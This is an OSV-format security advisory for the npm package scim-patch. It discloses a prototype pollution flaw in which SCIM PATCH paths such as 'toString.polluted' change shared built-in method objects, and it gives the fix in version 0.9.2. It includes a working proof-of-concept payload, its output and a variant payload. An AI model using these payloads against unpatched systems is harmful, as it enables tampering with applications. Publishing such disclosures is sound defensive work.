{"id":"GHSA-2mhw-wcx5-v3xj","summary":"scim-patch: Mutation of Inherited Built-in Method Objects","details":"## Summary\n\nIncomplete Prototype Pollution Fix Allows Mutation of Inherited Built-in Method Objects\n\n`scim-patch` blocks direct dangerous path segments such as `__proto__`, `constructor`, and `prototype`, but still traverses inherited properties when applying SCIM patch paths.\n\nAn attacker who controls a SCIM PATCH operation can use paths such as `toString.polluted` to mutate shared built-in function objects, for example `Object.prototype.toString`.\n\n## Impact\n\nA malicious patch can add attacker-controlled properties to inherited built-in method objects. The impact is narrower than direct `Object.prototype` pollution, but the mutation is process-global and may affect application logic that reads properties from inherited methods.\n\n## Details\n\nAffected code paths:\n\n- `navigate()` reads inherited properties via `schema[subPath]`\n- `assign()` uses `key in obj`, which treats inherited properties as existing\n\nBecause inherited keys are followed, safe-looking path segments such as `toString` can resolve to shared built-in objects.\n\n## PoC\n\n```js\nconst assert = require(\"node:assert/strict\");\nconst { scimPatch } = require(\"./lib/src/scimPatch\");\n\nconst victim = {\n  schemas: [\"urn:ietf:params:scim:schemas:core:2.0:User\"],\n  userName: \"alice\",\n  active: true,\n  emails: [{ value: \"alice@example.com\", primary: true }],\n  meta: { created: \"x\", lastModified: \"x\", resourceType: \"User\" }\n};\n\ntry {\n  assert.equal(({}).toString.scimPatchPolluted, undefined);\n\n  scimPatch(victim, [\n    { op: \"add\", path: \"toString.scimPatchPolluted\", value: \"polluted\" }\n  ]);\n\n  assert.equal(({}).toString.scimPatchPolluted, \"polluted\");\n  console.log(({}).toString.scimPatchPolluted);\n} finally {\n  delete Object.prototype.toString.scimPatchPolluted;\n}\n```\n\nOutput:\n\n```text\npolluted\n```\n\nA no-path operation with a dotted value key is also affected:\n\n```js\nscimPatch(victim, [\n  { op: \"add\", value: { \"toString.noPathPolluted\": \"polluted\" } }\n]);\n```\n\n## Remediation\n\nDo not traverse inherited properties while resolving patch paths. Use own-property checks such as `Object.hasOwn(obj, key)` and create missing containers only for safe own keys.\n\nKeep the existing denylist for `__proto__`, `constructor`, and `prototype` as defense in depth.","aliases":["CVE-2026-61834"],"modified":"2026-09-28T14:15:04.388935988Z","published":"2026-09-28T14:01:15Z","database_specific":{"nvd_published_at":"2026-09-23T15:17:15Z","cwe_ids":["CWE-1321","CWE-915"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-09-28T14:01:15Z"},"references":[{"type":"WEB","url":"https://github.com/thomaspoignant/scim-patch/security/advisories/GHSA-2mhw-wcx5-v3xj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61834"},{"type":"WEB","url":"https://github.com/thomaspoignant/scim-patch/pull/1127"},{"type":"WEB","url":"https://github.com/thomaspoignant/scim-patch/commit/c86474f7a9b16191d939f59ba94eca6c6e63044b"},{"type":"PACKAGE","url":"https://github.com/thomaspoignant/scim-patch"},{"type":"WEB","url":"https://github.com/thomaspoignant/scim-patch/releases/tag/v0.9.2"}],"affected":[{"package":{"name":"scim-patch","ecosystem":"npm","purl":"pkg:npm/scim-patch"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.9.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-2mhw-wcx5-v3xj/GHSA-2mhw-wcx5-v3xj.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"}]}